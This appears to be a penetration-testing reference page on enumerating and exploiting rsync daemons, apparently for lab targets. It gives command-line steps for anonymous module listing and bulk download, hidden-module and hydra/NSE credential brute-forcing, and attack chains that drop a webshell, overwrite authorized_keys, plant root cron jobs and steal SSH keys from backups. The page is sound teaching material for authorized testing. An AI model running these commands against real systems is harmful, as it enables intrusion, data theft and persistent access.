Skip to content

Rsync

Rsync is the standard Linux/Unix incremental file-transfer tool. Two modes matter to operators: rsync-over-SSH (rsync uses your SSH connection - same auth as SSH, nothing new to enumerate) and the standalone rsync daemon (rsyncd), which listens on TCP 873 with its own configuration, its own auth model, and its own anonymous-access misconfigurations.

# 1. Service scan
nmap -sV -p873 <target>
# 2. List modules (rsync's term for "shares")
nc -nv <target> 873
> @RSYNCD: 31.0
< @RSYNCD: 31.0
> #list
< files Public file share
< backup Daily backups
< @RSYNCD: EXIT
# Or via rsync itself:
rsync rsync://<target>/
# 3. List contents of a module
rsync rsync://<target>/files/
# 4. Recursive listing
rsync -av rsync://<target>/files/ --list-only
# 5. Bulk download
rsync -avzh rsync://<target>/files/ ./files-local/

Success indicator: rsync rsync://<target>/ returns one or more module names with descriptions; subsequent listing/download succeeds without authentication.

Rsync has two transport modes that are conceptually different:

ModeTransportAuth
rsync-over-SSHUses SSH (port 22) as the carrierInherits SSH’s authentication
rsync daemon (rsyncd)Direct TCP on port 873Per-module config in rsyncd.conf - often anonymous

When rsync is used as a backup tool (the common case), it usually runs over SSH - rsync -av /local user@host:/remote opens an SSH connection, doesn’t listen on any new port. When you see TCP 873 open, that’s specifically the daemon mode.

The rsync daemon serves a list of modules. Each module is a named directory tree with its own access rules:

Per-module settingWhat it controls
pathServer-side directory the module exposes
commentHuman-readable description shown in listings
read onlyWhether clients can write (default yes)
auth usersWhitelist of usernames allowed to access - if absent, anonymous access is allowed
secrets filePath to a file with user:password entries for auth
hosts allowIP-based restriction
hosts denyIP-based blocklist
uid / gidUID/GID rsyncd assumes after binding
use chrootWhether rsyncd chroots into the module path (defense in depth)

A module with no auth users directive is anonymous-readable by default. If read only = false is set without auth users, it’s anonymous-writable - which is operationally rare but devastating when found.

Plaintext, line-based, with a brief version handshake. The daemon-mode client sends:

@RSYNCD: <protocol_version>
<module_name>\n
\n

The server responds with module metadata, then begins the file-list exchange. The first part can be inspected with netcat; the file-list exchange is too binary to be useful with manual tools.

/etc/rsyncd.conf is empty by default on most distros - rsyncd isn’t enabled out-of-the-box. When admins configure it, the typical structure is:

# Global settings
uid = nobody
gid = nogroup
use chroot = yes
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
lock file = /var/run/rsync.lock
log file = /var/log/rsyncd.log
# A module
[files]
path = /srv/rsync/files
comment = Public file share
read only = yes
list = yes
# Another module - backups, intended for the backup user
[backup]
path = /srv/rsync/backup
comment = Daily backups
read only = no
list = yes
auth users = backup_user
secrets file = /etc/rsyncd.secrets

The first module ([files]) is anonymous-readable. The second ([backup]) requires the backup_user credential.

SettingWhy it’s bad
Module without auth usersAnonymous read access
read only = no without auth usersAnonymous write access
list = yes (default)Module shows in --list-only output. Hiding it (list = no) provides security through obscurity.
use chroot = norsyncd has full filesystem access (not just the module path) - symlink traversal becomes possible
uid = rootrsyncd runs as root - file ops happen with root permissions, magnifies any other misconfig
hosts allow = *No source IP restriction
Weak secrets file permissionsIf world-readable, anyone on the host can extract the credentials

The two operationally-relevant findings:

  1. Anonymous read on a module that contains sensitive data - backups, customer files, SSH keys, scripts with embedded credentials
  2. Anonymous write on a module mounted somewhere significant - /srv/www/ could become a webshell drop; /etc/cron.d/ could become RCE via scheduled task
Terminal window
sudo nmap -sV -p873 10.129.14.128
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)

Version 31 = current. Older protocol versions still in deployments include 29 and 30. The protocol version doesn’t directly correspond to a CVE class, but very old rsync versions (pre-3.x) had several remote vulnerabilities.

Direct way - rsync against the daemon with no module specified:

Terminal window
rsync rsync://10.129.14.128/
files Public file share
backup Daily backups

Hidden modules (list = no) won’t appear in this listing. Brute-forcing a wordlist of common module names is the recovery:

Terminal window
for module in files backup backups data www public share home upload uploads private; do
rsync rsync://10.129.14.128/$module/ 2>&1 | head -3
done

The error message changes between “doesn’t exist” and “requires authentication,” letting you distinguish hidden-but-present vs absent modules.

Terminal window
nc -nv 10.129.14.128 873
(UNKNOWN) [10.129.14.128] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0 # echo your version back
#list # request the module list
files Public file share
backup Daily backups
@RSYNCD: EXIT

The handshake uses two @RSYNCD: lines (one from server, one echoed back from you with your supported version), then #list requests the module catalog.

To explicitly request a module:

nc -nv 10.129.14.128 873
@RSYNCD: 31.0
@RSYNCD: 31.0
files # name of the module you want
@RSYNCD: AUTHREQD 5b8a2e # if auth is needed (then send user/password hash)

If AUTHREQD appears, auth is required. If you get straight into the file-transfer phase, it’s anonymous.

Terminal window
rsync rsync://10.129.14.128/files
drwxr-xr-x 4,096 2021/09/19 14:21:11 .
-rw-r--r-- 8,192 2021/09/19 14:20:15 README.txt
-rw-r--r-- 1,048,576 2021/09/19 14:20:32 archive.tar
drwxr-xr-x 4,096 2021/09/19 14:21:01 docs

For a recursive listing without downloading anything:

Terminal window
rsync -av rsync://10.129.14.128/files/ --list-only

-a (archive) means “recurse and preserve everything.” --list-only is exactly what it says - list, don’t transfer.

Terminal window
rsync -avzh rsync://10.129.14.128/files/ ./files-local/

-a archive, -v verbose, -z compress in flight, -h human-readable sizes. Result: a complete mirror of the share to ./files-local/.

Terminal window
# Just a specific file
rsync -av rsync://10.129.14.128/files/README.txt ./
# Just specific patterns
rsync -av --include='*.pdf' --exclude='*' rsync://10.129.14.128/files/ ./pdfs-only/
Terminal window
echo "test content" > /tmp/test-rsync.txt
rsync -av /tmp/test-rsync.txt rsync://10.129.14.128/files/test-rsync.txt

If read only = yes is set, you’ll see:

rsync: connection unexpectedly closed (108 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(228) [sender=3.1.3]

If write succeeds, the file appears on the server. From there:

Terminal window
# If the module path is somewhere actionable...
rsync -av /tmp/webshell.php rsync://10.129.14.128/web/uploads/shell.php
rsync -av /tmp/authorized_keys rsync://10.129.14.128/home/.ssh/authorized_keys

When a module requires auth users:

Terminal window
rsync rsync://[email protected]/backup/
# Prompts for password
# Or set RSYNC_PASSWORD env var to skip the prompt
RSYNC_PASSWORD='secret' rsync rsync://[email protected]/backup/
# Or use --password-file
echo 'secret' > /tmp/pw && chmod 600 /tmp/pw
rsync --password-file=/tmp/pw rsync://[email protected]/backup/

Hydra supports rsync:

Terminal window
hydra -L users.txt -P passwords.txt rsync://10.129.14.128

NSE script:

Terminal window
nmap -p873 --script rsync-brute --script-args="rsync-brute.module=backup,userdb=users.txt,passdb=pass.txt" 10.129.14.128

Brute-force is slower against rsync than most protocols (the daemon issues a fresh challenge per attempt and the cipher is HMAC-MD5).

Anonymous module → backups → credentials:

  1. rsync rsync://target/ shows backup module is anonymously accessible
  2. Mirror it: rsync -av rsync://target/backup/ ./local/
  3. Backups typically contain config files with credentials, customer database dumps, SSH key archives
  4. Use credentials against other services

Anonymous read on [home] → SSH keys → SSH access:

  1. Common admin convention: name the module home, point it at /home/
  2. Mirror, find ~user/.ssh/id_rsa for each enumerated user
  3. SSH in with the stolen keys

Anonymous write on a web-served directory → webshell:

  1. Module [www] exposes /var/www/html/ and is writable
  2. rsync -av shell.php rsync://target/www/shell.php
  3. Trigger via HTTP: curl http://target/shell.php?cmd=id

Anonymous write on a cron directory → scheduled RCE:

  1. Module exposes /etc/cron.d/ and is writable
  2. rsync -av my-cronjob rsync://target/cron.d/my-cronjob
  3. Cron picks up the new job at the next interval - code runs as root
TaskCommand
Service scannmap -sV -p873 <target>
Module listrsync rsync://<target>/
Module list (netcat)nc -nv <target> 873 then @RSYNCD: 31.0 + \n + #list
Hidden-module brutefor m in $(cat modules.txt); do rsync rsync://<target>/$m 2>&1; done
List one modulersync rsync://<target>/<module>
Recursive listrsync -av rsync://<target>/<module>/ --list-only
Bulk downloadrsync -avzh rsync://<target>/<module>/ ./local/
Specific filersync -av rsync://<target>/<module>/<file> ./
Test write accessrsync -av /tmp/test rsync://<target>/<module>/test
Credentialed accessrsync rsync://user@<target>/<module>/
With passwordRSYNC_PASSWORD=pw rsync rsync://user@<target>/<module>/
Brute-forcehydra -L users -P pass rsync://<target>
NSE brutenmap -p873 --script rsync-brute --script-args="rsync-brute.module=<m>,userdb=u,passdb=p" <target>